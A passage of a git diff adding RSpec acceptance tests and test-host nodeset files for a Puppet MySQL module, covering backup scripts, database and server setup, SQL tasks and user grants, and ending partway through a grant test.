+ 'cp -r /tmp/backups /var/tmp/mysqlbackups',
+ 'touch /var/tmp/mysqlbackups.done',
+ ],
+ execpath => '/usr/bin:/usr/sbin:/bin:/sbin:/opt/zimbra/bin',
+ }
+ MANIFEST
+ it 'when configuring mysql backups' do
+ apply_manifest(pp, catch_failures: true)
+ apply_manifest(pp, catch_failures: true)
+ end
+ end
+
+ describe 'mysqlbackup.sh' do
+ before(:all) do
+ pre_run
+ end
+
+ it 'runs mysqlbackup.sh with no errors' do
+ unless version_is_greater_than('5.7.0')
+ shell('/usr/local/sbin/mysqlbackup.sh') do |r|
+ expect(r.stderr).to eq('')
+ end
+ end
+ end
+
+ it 'dumps all databases to single file' do
+ unless version_is_greater_than('5.7.0')
+ shell('ls -l /tmp/backups/mysql_backup_*-*.sql.bz2 | wc -l') do |r|
+ expect(r.stdout).to match(%r{1})
+ expect(r.exit_code).to be_zero
+ end
+ end
+ end
+
+ context 'should create one file per database per run' do
+ it 'executes mysqlbackup.sh a second time' do
+ unless version_is_greater_than('5.7.0')
+ shell('sleep 1')
+ shell('/usr/local/sbin/mysqlbackup.sh')
+ end
+ end
+
+ it 'creates at least one backup tarball' do
+ unless version_is_greater_than('5.7.0')
+ shell('ls -l /tmp/backups/mysql_backup_*-*.sql.bz2 | wc -l') do |r|
+ expect(r.stdout).to match(%r{2})
+ expect(r.exit_code).to be_zero
+ end
+ end
+ end
+ end
+ # rubocop:enable RSpec/MultipleExpectations, RSpec/ExampleLength
+ end
+
+ context 'with one file per database' do
+ context 'should work with no errors' do
+ pp = <<-MANIFEST
+ class { 'mysql::server': root_password => 'password' }
+ mysql::db { [
+ 'backup1',
+ 'backup2'
+ ]:
+ user => 'backup',
+ password => 'secret',
+ }
+
+ class { 'mysql::server::backup':
+ backupuser => 'myuser',
+ backuppassword => 'mypassword',
+ backupdir => '/tmp/backups',
+ backupcompress => true,
+ file_per_database => true,
+ postscript => [
+ 'rm -rf /var/tmp/mysqlbackups',
+ 'rm -f /var/tmp/mysqlbackups.done',
+ 'cp -r /tmp/backups /var/tmp/mysqlbackups',
+ 'touch /var/tmp/mysqlbackups.done',
+ ],
+ execpath => '/usr/bin:/usr/sbin:/bin:/sbin:/opt/zimbra/bin',
+ }
+ MANIFEST
+ it 'when configuring mysql backups' do
+ apply_manifest(pp, catch_failures: true)
+ apply_manifest(pp, catch_failures: true)
+ end
+ end
+
+ describe 'mysqlbackup.sh' do
+ before(:all) do
+ pre_run
+ end
+
+ it 'runs mysqlbackup.sh with no errors without root credentials' do
+ unless version_is_greater_than('5.7.0')
+ shell('HOME=/tmp/dontreadrootcredentials /usr/local/sbin/mysqlbackup.sh') do |r|
+ expect(r.stderr).to eq('')
+ end
+ end
+ end
+
+ it 'creates one file per database' do
+ unless version_is_greater_than('5.7.0')
+ %w[backup1 backup2].each do |database|
+ shell("ls -l /tmp/backups/mysql_backup_#{database}_*-*.sql.bz2 | wc -l") do |r|
+ expect(r.stdout).to match(%r{1})
+ expect(r.exit_code).to be_zero
+ end
+ end
+ end
+ end
+
+ it 'executes mysqlbackup.sh a second time' do
+ unless version_is_greater_than('5.7.0')
+ shell('sleep 1')
+ shell('HOME=/tmp/dontreadrootcredentials /usr/local/sbin/mysqlbackup.sh')
+ end
+ end
+
+ it 'has one file per database per run' do
+ unless version_is_greater_than('5.7.0')
+ %w[backup1 backup2].each do |database|
+ shell("ls -l /tmp/backups/mysql_backup_#{database}_*-*.sql.bz2 | wc -l") do |r|
+ expect(r.stdout).to match(%r{2})
+ expect(r.exit_code).to be_zero
+ end
+ end
+ end
+ end
+ # rubocop:enable RSpec/MultipleExpectations, RSpec/ExampleLength
+ end
+ end
+
+ context 'with triggers and routines' do
+ pre_run
+ pp = <<-MANIFEST
+ class { 'mysql::server': root_password => 'password' }
+ mysql::db { [
+ 'backup1',
+ 'backup2'
+ ]:
+ user => 'backup',
+ password => 'secret',
+ }
+ package { 'bzip2':
+ ensure => present,
+ }
+ class { 'mysql::server::backup':
+ backupuser => 'myuser',
+ backuppassword => 'mypassword',
+ backupdir => '/tmp/backups',
+ backupcompress => true,
+ file_per_database => true,
+ include_triggers => #{version_is_greater_than('5.1.5')},
+ include_routines => true,
+ postscript => [
+ 'rm -rf /var/tmp/mysqlbackups',
+ 'rm -f /var/tmp/mysqlbackups.done',
+ 'cp -r /tmp/backups /var/tmp/mysqlbackups',
+ 'touch /var/tmp/mysqlbackups.done',
+ ],
+ execpath => '/usr/bin:/usr/sbin:/bin:/sbin:/opt/zimbra/bin',
+ require => Package['bzip2'],
+ }
+ MANIFEST
+ it 'when configuring mysql backups with triggers and routines' do
+ apply_manifest(pp, catch_failures: true)
+ end
+
+ it 'runs mysqlbackup.sh with no errors' do
+ pre_run
+ unless version_is_greater_than('5.7.0')
+ shell('/usr/local/sbin/mysqlbackup.sh') do |r|
+ expect(r.stderr).to eq('')
+ end
+ end
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_db_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_db_spec.rb
new file mode 100644
index 000000000..dc0af4012
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_db_spec.rb
@@ -0,0 +1,68 @@
+require 'spec_helper_acceptance'
+
+describe 'mysql::db define' do
+ describe 'creating a database' do
+ let(:pp) do
+ <<-MANIFEST
+ class { 'mysql::server': root_password => 'password' }
+ mysql::db { 'spec1':
+ user => 'root1',
+ password => 'password',
+ }
+ MANIFEST
+ end
+
+ it_behaves_like 'a idempotent resource'
+
+ describe command("mysql -e 'show databases;'") do
+ its(:exit_status) { is_expected.to eq 0 }
+ its(:stdout) { is_expected.to match %r{^spec1$} }
+ end
+ end
+
+ describe 'creating a database with post-sql' do
+ let(:pp) do
+ <<-MANIFEST
+ class { 'mysql::server': override_options => { 'root_password' => 'password' } }
+ file { '/tmp/spec.sql':
+ ensure => file,
+ content => 'CREATE TABLE table1 (id int);',
+ before => Mysql::Db['spec2'],
+ }
+ mysql::db { 'spec2':
+ user => 'root1',
+ password => 'password',
+ sql => '/tmp/spec.sql',
+ }
+ MANIFEST
+ end
+
+ it_behaves_like 'a idempotent resource'
+
+ describe command("mysql -e 'show tables;' spec2") do
+ its(:exit_status) { is_expected.to eq 0 }
+ its(:stdout) { is_expected.to match %r{^table1$} }
+ end
+ end
+
+ describe 'creating a database with dbname parameter' do
+ let(:check_command) { ' | grep realdb' }
+ let(:pp) do
+ <<-MANIFEST
+ class { 'mysql::server': override_options => { 'root_password' => 'password' } }
+ mysql::db { 'spec1':
+ user => 'root1',
+ password => 'password',
+ dbname => 'realdb',
+ }
+ MANIFEST
+ end
+
+ it_behaves_like 'a idempotent resource'
+
+ describe command("mysql -e 'show databases;'") do
+ its(:exit_status) { is_expected.to eq 0 }
+ its(:stdout) { is_expected.to match %r{^realdb$} }
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_helper.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_helper.rb
new file mode 100644
index 000000000..e041d20bc
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_helper.rb
@@ -0,0 +1,8 @@
+def pre_run
+ apply_manifest("class { 'mysql::server': root_password => 'password' }", catch_failures: true)
+ @mysql_version = (on default, 'mysql --version').output.chomp.match(%r{\d+\.\d+\.\d+})[0]
+end
+
+def version_is_greater_than(version)
+ Puppet::Util::Package.versioncmp(@mysql_version, version) > 0
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_server_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_server_spec.rb
new file mode 100644
index 000000000..3b9b8204c
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_server_spec.rb
@@ -0,0 +1,102 @@
+require 'spec_helper_acceptance'
+
+describe 'mysql class' do
+ # rubocop:disable RSpec/InstanceVariable
+ describe 'advanced config' do
+ let(:pp) do
+ <<-MANIFEST
+ class { 'mysql::server':
+ manage_config_file => 'true',
+ override_options => { 'mysqld' => { 'key_buffer_size' => '32M' }},
+ package_ensure => 'present',
+ purge_conf_dir => 'true',
+ remove_default_accounts => 'true',
+ restart => 'true',
+ root_group => 'root',
+ root_password => 'test',
+ service_enabled => 'true',
+ service_manage => 'true',
+ users => {
+ 'someuser@localhost' => {
+ ensure => 'present',
+ max_connections_per_hour => '0',
+ max_queries_per_hour => '0',
+ max_updates_per_hour => '0',
+ max_user_connections => '0',
+ password_hash => '*F3A2A51A9B0F2BE2468926B4132313728C250DBF',
+ }},
+ grants => {
+ 'someuser@localhost/somedb.*' => {
+ ensure => 'present',
+ options => ['GRANT'],
+ privileges => ['SELECT', 'INSERT', 'UPDATE', 'DELETE'],
+ table => 'somedb.*',
+ user => 'someuser@localhost',
+ },
+ },
+ databases => {
+ 'somedb' => {
+ ensure => 'present',
+ charset => 'utf8',
+ },
+ }
+ }
+ MANIFEST
+ end
+
+ it_behaves_like 'a idempotent resource'
+ end
+
+ describe 'minimal config' do
+ before(:all) do
+ @tmpdir = default.tmpdir('mysql')
+ end
+ let(:pp) do
+ <<-MANIFEST
+ class { 'mysql::server':
+ manage_config_file => 'false',
+ override_options => { 'mysqld' => { 'key_buffer_size' => '32M' }},
+ package_ensure => 'present',
+ purge_conf_dir => 'false',
+ remove_default_accounts => 'false',
+ restart => 'false',
+ root_group => 'root',
+ root_password => 'test',
+ service_enabled => 'false',
+ service_manage => 'false',
+ users => {},
+ grants => {},
+ databases => {},
+ }
+ MANIFEST
+ end
+
+ it_behaves_like 'a idempotent resource'
+ end
+ # rubocop:enable RSpec/InstanceVariable
+
+ describe 'syslog configuration' do
+ let(:pp) do
+ <<-MANIFEST
+ class { 'mysql::server':
+ override_options => { 'mysqld' => { 'log-error' => undef }, 'mysqld_safe' => { 'log-error' => false, 'syslog' => true }},
+ }
+ MANIFEST
+ end
+
+ it_behaves_like 'a idempotent resource'
+ end
+
+ context 'when changing the password' do
+ let(:password) { 'THE NEW SECRET' }
+ let(:pp) { "class { 'mysql::server': root_password => '#{password}' }" }
+
+ it 'does not display the password' do
+ result = apply_manifest(pp, catch_failures: true)
+ # this does not actually prove anything, as show_diff in the puppet config defaults to false.
+ expect(result.stdout).not_to match %r{#{password}}
+ end
+
+ it_behaves_like 'a idempotent resource'
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/centos-7-x64.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/centos-7-x64.yml
new file mode 100644
index 000000000..5eebdefbf
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/centos-7-x64.yml
@@ -0,0 +1,10 @@
+HOSTS:
+ centos-7-x64:
+ roles:
+ - agent
+ - default
+ platform: el-7-x86_64
+ hypervisor: vagrant
+ box: puppetlabs/centos-7.2-64-nocm
+CONFIG:
+ type: foss
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/debian-8-x64.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/debian-8-x64.yml
new file mode 100644
index 000000000..fef6e63ca
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/debian-8-x64.yml
@@ -0,0 +1,10 @@
+HOSTS:
+ debian-8-x64:
+ roles:
+ - agent
+ - default
+ platform: debian-8-amd64
+ hypervisor: vagrant
+ box: puppetlabs/debian-8.2-64-nocm
+CONFIG:
+ type: foss
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/default.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/default.yml
new file mode 100644
index 000000000..dba339c46
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/default.yml
@@ -0,0 +1,10 @@
+HOSTS:
+ ubuntu-1404-x64:
+ roles:
+ - agent
+ - default
+ platform: ubuntu-14.04-amd64
+ hypervisor: vagrant
+ box: puppetlabs/ubuntu-14.04-64-nocm
+CONFIG:
+ type: foss
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/centos-7.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/centos-7.yml
new file mode 100644
index 000000000..a3333aac5
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/centos-7.yml
@@ -0,0 +1,12 @@
+HOSTS:
+ centos-7-x64:
+ platform: el-7-x86_64
+ hypervisor: docker
+ image: centos:7
+ docker_preserve_image: true
+ docker_cmd: '["/usr/sbin/init"]'
+ # install various tools required to get the image up to usable levels
+ docker_image_commands:
+ - 'yum install -y crontabs tar wget openssl sysvinit-tools iproute which initscripts'
+CONFIG:
+ trace_limit: 200
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/debian-8.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/debian-8.yml
new file mode 100644
index 000000000..df5c31944
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/debian-8.yml
@@ -0,0 +1,11 @@
+HOSTS:
+ debian-8-x64:
+ platform: debian-8-amd64
+ hypervisor: docker
+ image: debian:8
+ docker_preserve_image: true
+ docker_cmd: '["/sbin/init"]'
+ docker_image_commands:
+ - 'apt-get update && apt-get install -y net-tools wget locales strace lsof && echo "en_US.UTF-8 UTF-8" > /etc/locale.gen && locale-gen'
+CONFIG:
+ trace_limit: 200
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/ubuntu-14.04.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/ubuntu-14.04.yml
new file mode 100644
index 000000000..b1efa5839
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/ubuntu-14.04.yml
@@ -0,0 +1,12 @@
+HOSTS:
+ ubuntu-1404-x64:
+ platform: ubuntu-14.04-amd64
+ hypervisor: docker
+ image: ubuntu:14.04
+ docker_preserve_image: true
+ docker_cmd: '["/sbin/init"]'
+ docker_image_commands:
+ # ensure that upstart is booting correctly in the container
+ - 'rm /usr/sbin/policy-rc.d && rm /sbin/initctl && dpkg-divert --rename --remove /sbin/initctl && apt-get update && apt-get install -y net-tools wget && locale-gen en_US.UTF-8'
+CONFIG:
+ trace_limit: 200
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/sql_task_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/sql_task_spec.rb
new file mode 100644
index 000000000..1ebed9c9e
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/sql_task_spec.rb
@@ -0,0 +1,23 @@
+# run a test task
+require 'spec_helper_acceptance'
+
+describe 'mysql tasks', if: puppet_version =~ %r{(5\.\d\.\d)} && fact('operatingsystem') != 'SLES' do
+ describe 'execute some sql' do
+ pp = <<-MANIFEST
+ class { 'mysql::server': root_password => 'password' }
+ mysql::db { 'spec1':
+ user => 'root1',
+ password => 'password',
+ }
+ MANIFEST
+
+ it 'sets up a mysql instance' do
+ apply_manifest_on(hosts, pp, catch_failures: true)
+ end
+
+ it 'execute arbitary sql' do
+ result = run_task(task_name: 'mysql::sql', params: 'sql="show databases;" password=password')
+ expect_multiple_regexes(result: result, regexes: [%r{information_schema}, %r{#{task_summary_line}}])
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_database_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_database_spec.rb
new file mode 100644
index 000000000..fc207a6b5
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_database_spec.rb
@@ -0,0 +1,73 @@
+require 'spec_helper_acceptance'
+
+describe 'mysql_database' do
+ describe 'setup' do
+ pp = <<-MANIFEST
+ class { 'mysql::server': }
+ MANIFEST
+ it 'works with no errors' do
+ apply_manifest(pp, catch_failures: true)
+ end
+ end
+
+ describe 'creating database' do
+ pp = <<-MANIFEST
+ mysql_database { 'spec_db':
+ ensure => present,
+ }
+ MANIFEST
+ it 'works without errors' do
+ apply_manifest(pp, catch_failures: true)
+ end
+
+ it 'finds the database #stdout' do
+ shell("mysql -NBe \"SHOW DATABASES LIKE 'spec_db'\"") do |r|
+ expect(r.stdout).to match(%r{^spec_db$})
+ end
+ end
+ it 'finds the database #stderr' do
+ shell("mysql -NBe \"SHOW DATABASES LIKE 'spec_db'\"") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+
+ describe 'charset and collate' do
+ pp = <<-MANIFEST
+ mysql_database { 'spec_latin1':
+ charset => 'latin1',
+ collate => 'latin1_swedish_ci',
+ }
+ mysql_database { 'spec_utf8':
+ charset => 'utf8',
+ collate => 'utf8_general_ci',
+ }
+ MANIFEST
+ it 'creates two db of different types idempotently' do
+ apply_manifest(pp, catch_failures: true)
+ apply_manifest(pp, catch_changes: true)
+ end
+
+ it 'finds latin1 db #stdout' do
+ shell("mysql -NBe \"SHOW VARIABLES LIKE '%_database'\" spec_latin1") do |r|
+ expect(r.stdout).to match(%r{^character_set_database\tlatin1\ncollation_database\tlatin1_swedish_ci$})
+ end
+ end
+ it 'finds latin1 db #stderr' do
+ shell("mysql -NBe \"SHOW VARIABLES LIKE '%_database'\" spec_latin1") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+
+ it 'finds utf8 db #stdout' do
+ shell("mysql -NBe \"SHOW VARIABLES LIKE '%_database'\" spec_utf8") do |r|
+ expect(r.stdout).to match(%r{^character_set_database\tutf8\ncollation_database\tutf8_general_ci$})
+ end
+ end
+ it 'finds utf8 db #stderr' do
+ shell("mysql -NBe \"SHOW VARIABLES LIKE '%_database'\" spec_utf8") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_grant_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_grant_spec.rb
new file mode 100644
index 000000000..981dd85a2
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_grant_spec.rb
@@ -0,0 +1,748 @@
+require 'spec_helper_acceptance'
+require 'puppet/util/package'
+require_relative '../mysql_helper.rb'
+
+describe 'mysql_grant' do
+ before(:all) do
+ pp = <<-MANIFEST
+ class { 'mysql::server':
+ root_password => 'password',
+ }
+ MANIFEST
+
+ apply_manifest(pp, catch_failures: true)
+ end
+
+ describe 'missing privileges for user' do
+ pp = <<-MANIFEST
+ mysql_user { 'test1@tester':
+ ensure => present,
+ }
+ mysql_grant { 'test1@tester/test.*':
+ ensure => 'present',
+ table => 'test.*',
+ user => 'test1@tester',
+ require => Mysql_user['test1@tester'],
+ }
+ MANIFEST
+ it 'fails' do
+ expect(apply_manifest(pp, expect_failures: true).stderr).to match(%r{`privileges` `parameter` is required})
+ end
+
+ it 'does not find the user' do
+ expect(shell('mysql -NBe "SHOW GRANTS FOR test1@tester"', acceptable_exit_codes: 1).stderr).to match(%r{There is no such grant defined for user 'test1' on host 'tester'})
+ end
+ end
+
+ describe 'missing table for user' do
+ pp = <<-MANIFEST
+ mysql_user { 'atest@tester':
+ ensure => present,
+ }
+ mysql_grant { 'atest@tester/test.*':
+ ensure => 'present',
+ user => 'atest@tester',
+ privileges => ['ALL'],
+ require => Mysql_user['atest@tester'],
+ }
+ MANIFEST
+ it 'fails' do
+ apply_manifest(pp, expect_failures: true)
+ end
+
+ it 'does not find the user' do
+ expect(shell('mysql -NBe "SHOW GRANTS FOR atest@tester"', acceptable_exit_codes: 1).stderr).to match(%r{There is no such grant defined for user 'atest' on host 'tester'})
+ end
+ end
+
+ describe 'adding privileges' do
+ pp = <<-MANIFEST
+ mysql_user { 'test2@tester':
+ ensure => present,
+ }
+ mysql_grant { 'test2@tester/test.*':
+ ensure => 'present',
+ table => 'test.*',
+ user => 'test2@tester',
+ privileges => ['SELECT', 'UPDATE'],
+ require => Mysql_user['test2@tester'],
+ }
+ MANIFEST
+ it 'works without errors' do
+ apply_manifest(pp, catch_failures: true)
+ end
+
+ it 'finds the user #stdout' do
+ shell('mysql -NBe "SHOW GRANTS FOR test2@tester"') do |r|
+ expect(r.stdout).to match(%r{GRANT SELECT, UPDATE.*TO 'test2'@'tester'})
+ end
+ end
+ it 'finds the user #stderr' do
+ shell('mysql -NBe "SHOW GRANTS FOR test2@tester"') do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+
+ describe 'adding privileges with special character in name' do
+ pp = <<-MANIFEST
+ mysql_user { 'test-2@tester':
+ ensure => present,
+ }
+ mysql_grant { 'test-2@tester/test.*':
+ ensure => 'present',
+ table => 'test.*',
+ user => 'test-2@tester',
+ privileges => ['SELECT', 'UPDATE'],
+ require => Mysql_user['test-2@tester'],
+ }
+ MANIFEST
+ it 'works without errors' do
+ apply_manifest(pp, catch_failures: true)
+ end
+
+ it 'finds the user #stdout' do
+ shell("mysql -NBe \"SHOW GRANTS FOR 'test-2'@tester\"") do |r|
+ expect(r.stdout).to match(%r{GRANT SELECT, UPDATE.*TO 'test-2'@'tester'})
+ end
+ end
+ it 'finds the user #stderr' do
+ shell("mysql -NBe \"SHOW GRANTS FOR 'test-2'@tester\"") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+
+ describe 'adding option' do
+ pp = <<-MANIFEST
+ mysql_user { 'test3@tester':
+ ensure => present,
+ }
+ mysql_grant { 'test3@tester/test.*':
+ ensure => 'present',
+ table => 'test.*',
+ user => 'test3@tester',
+ options => ['GRANT'],
+ privileges => ['SELECT', 'UPDATE'],
+ require => Mysql_user['test3@tester'],
+ }
+ MANIFEST
+ it 'works without errors' do
+ apply_manifest(pp, catch_failures: true)
+ end
+
+ it 'finds the user #stdout' do
+ shell('mysql -NBe "SHOW GRANTS FOR test3@tester"') do |r|
+ expect(r.stdout).to match(%r{GRANT SELECT, UPDATE ON `test`.* TO 'test3'@'tester' WITH GRANT OPTION$})
+ end
+ end
+ it 'finds the user #stderr' do
+ shell('mysql -NBe "SHOW GRANTS FOR test3@tester"') do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+
+ describe 'adding all privileges without table' do
+ pp = <<-MANIFEST
+ mysql_user { 'test4@tester':
+ ensure => present,
+ }
+ mysql_grant { 'test4@tester/test.*':
+ ensure => 'present',
+ user => 'test4@tester',
+ options => ['GRANT'],
+ privileges => ['SELECT', 'UPDATE', 'ALL'],
+ require => Mysql_user['test4@tester'],
+ }
+ MANIFEST
+ it 'fails' do
+ expect(apply_manifest(pp, expect_failures: true).stderr).to match(%r{`table` `parameter` is required.})
+ end
+ end
+
+ describe 'adding all privileges' do
+ pp = <<-MANIFEST
+ mysql_user { 'test4@tester':
+ ensure => present,
+ }
+ mysql_grant { 'test4@tester/test.*':
+ ensure => 'present',
+ table => 'test.*',
+ user => 'test4@tester',
+ options => ['GRANT'],
+ privileges => ['SELECT', 'UPDATE', 'ALL'],
+ require => Mysql_user['test4@tester'],
+ }
+ MANIFEST
+ it 'onlies try to apply ALL' do
+ apply_manifest(pp, catch_failures: true)
+ end
+
+ it 'finds the user #stdout' do
+ shell('mysql -NBe "SHOW GRANTS FOR test4@tester"') do |r|
+ expect(r.stdout).to match(%r{GRANT ALL PRIVILEGES ON `test`.* TO 'test4'@'tester' WITH GRANT OPTION})
+ end
+ end
+ it 'finds the user #stderr' do
+ shell('mysql -NBe "SHOW GRANTS FOR test4@tester"') do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+
+ # Test combinations of user@host to ensure all cases work.
+ describe 'short hostname' do
+ pp = <<-MANIFEST
+ mysql_user { 'test@short':
+ ensure => present,
+ }
+ mysql_grant { 'test@short/test.*':
+ ensure => 'present',
+ table => 'test.*',
+ user => 'test@short',
+ privileges => 'ALL',
+ require => Mysql_user['test@short'],
+ }
+ mysql_user { 'test@long.hostname.com':
+ ensure => present,
+ }
+ mysql_grant { 'test@long.hostname.com/test.*':
+ ensure => 'present',
+ table => 'test.*',
+ user => 'test@long.hostname.com',
+ privileges => 'ALL',
+ require => Mysql_user['test@long.hostname.com'],
+ }
+ mysql_user { 'test@192.168.5.6':
+ ensure => present,
+ }
+ mysql_grant { 'test@192.168.5.6/test.*':
+ ensure => 'present',
+ table => 'test.*',
+ user => 'test@192.168.5.6',
+ privileges => 'ALL',
+ require => Mysql_user['test@192.168.5.6'],
+ }
+ mysql_user { 'test@2607:f0d0:1002:0051:0000:0000:0000:0004':
+ ensure => present,
+ }
+ mysql_grant { 'test@2607:f0d0:1002:0051:0000:0000:0000:0004/test.*':
+ ensure => 'present',
+ table => 'test.*',
+ user => 'test@2607:f0d0:1002:0051:0000:0000:0000:0004',
+ privileges => 'ALL',
+ require => Mysql_user['test@2607:f0d0:1002:0051:0000:0000:0000:0004'],
+ }
+ mysql_user { 'test@::1/128':
+ ensure => present,
+ }
+ mysql_grant { 'test@::1/128/test.*':
+ ensure => 'present',
+ table => 'test.*',
+ user => 'test@::1/128',
+ privileges => 'ALL',
+ require => Mysql_user['test@::1/128'],
+ }
+ MANIFEST
+ it 'applies' do
+ apply_manifest(pp, catch_failures: true)
+ end
+
+ it 'finds short hostname #stdout' do
+ shell('mysql -NBe "SHOW GRANTS FOR test@short"') do |r|
+ expect(r.stdout).to match(%r{GRANT ALL PRIVILEGES ON `test`.* TO 'test'@'short'})
+ end
+ end
+ it 'finds short hostname #stderr' do
+ shell('mysql -NBe "SHOW GRANTS FOR test@short"') do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+
+ it 'finds long hostname #stdout' do
+ shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'long.hostname.com'\"") do |r|
+ expect(r.stdout).to match(%r{GRANT ALL PRIVILEGES ON `test`.* TO 'test'@'long.hostname.com'})
+ end
+ end
+ it 'finds long hostname #stderr' do
+ shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'long.hostname.com'\"") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+
+ it 'finds ipv4 #stdout' do
+ shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'192.168.5.6'\"") do |r|
+ expect(r.stdout).to match(%r{GRANT ALL PRIVILEGES ON `test`.* TO 'test'@'192.168.5.6'})
+ end
+ end
+ it 'finds ipv4 #stderr' do
+ shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'192.168.5.6'\"") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+
+ it 'finds ipv6 #stdout' do
+ shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'2607:f0d0:1002:0051:0000:0000:0000:0004'\"") do |r|
+ expect(r.stdout).to match(%r{GRANT ALL PRIVILEGES ON `test`.* TO 'test'@'2607:f0d0:1002:0051:0000:0000:0000:0004'})
+ end
+ end
+ it 'finds ipv6 #stderr' do
+ shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'2607:f0d0:1002:0051:0000:0000:0000:0004'\"") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+
+ it 'finds short ipv6 #stdout' do
+ shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'::1/128'\"") do |r|
+ expect(r.stdout).to match(%r{GRANT ALL PRIVILEGES ON `test`.* TO 'test'@'::1\/128'})
+ end
+ end
+ it 'finds short ipv6 @stderr' do
+ shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'::1/128'\"") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+
+ describe 'complex test' do
+ pp = <<-MANIFEST
+ $dbSubnet = '10.10.10.%'
+
+ mysql_database { 'foo':
+ ensure => present,
+ }
+
+ exec { 'mysql-create-table':
+ command => '/usr/bin/mysql -NBe "CREATE TABLE foo.bar (name VARCHAR(20))"',
+ environment => "HOME=${::root_home}",
+ unless => '/usr/bin/mysql -NBe "SELECT 1 FROM foo.bar LIMIT 1;"',
+ require => Mysql_database['foo'],
+ }
+
+ Mysql_grant {
+ ensure => present,
+ options => ['GRANT'],
+ privileges => ['ALL'],
+ table => '*.*',
+ require => [ Mysql_database['foo'], Exec['mysql-create-table'] ],
+ }
+
+ mysql_user { "user1@${dbSubnet}":
+ ensure => present,
+ }
+ mysql_grant { "user1@${dbSubnet}/*.*":
+ user => "user1@${dbSubnet}",
+ require => Mysql_user["user1@${dbSubnet}"],
+ }
+ mysql_user { "user2@${dbSubnet}":
+ ensure => present,
+ }
+ mysql_grant { "user2@${dbSubnet}/foo.bar":
+ privileges => ['SELECT', 'INSERT', 'UPDATE'],
+ user => "user2@${dbSubnet}",
+ table => 'foo.bar',
+ require => Mysql_user["user2@${dbSubnet}"],
+ }
+ mysql_user { "user3@${dbSubnet}":
+ ensure => present,
+ }
+ mysql_grant { "user3@${dbSubnet}/foo.*":
+ privileges => ['SELECT', 'INSERT', 'UPDATE'],
+ user => "user3@${dbSubnet}",
+ table => 'foo.*',
+ require => Mysql_user["user3@${dbSubnet}"],
+ }
+ mysql_user { 'web@%':
+ ensure => present,
+ }
+ mysql_grant { 'web@%/*.*':
+ user => 'web@%',
+ require => Mysql_user['web@%'],
+ }
